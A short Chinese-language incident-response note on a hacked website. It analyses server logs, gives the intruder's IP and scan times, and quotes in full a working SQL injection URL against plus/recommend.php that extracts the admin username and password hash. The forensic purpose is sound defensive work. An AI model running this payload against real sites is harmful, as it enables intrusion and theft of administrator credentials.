网站被入侵后的应急响应

1.日志分析

入侵者ip：192.168.123.1

先利用notepad将日志筛选，选择出自己想要的部分，然后分析

1）扫描网站

[27/May/2019:15:50:07入侵者开始扫描网站后台

[27/May/2019:15:50:09扫描结束

2）SQL手工注入

[27/May/2019:15:46:42入侵者使用如下url：

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

但是在日志中却是这样【需要稍加修改，多加了\】：/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

通过url找到管理员后台账户和密码，并登陆网站后台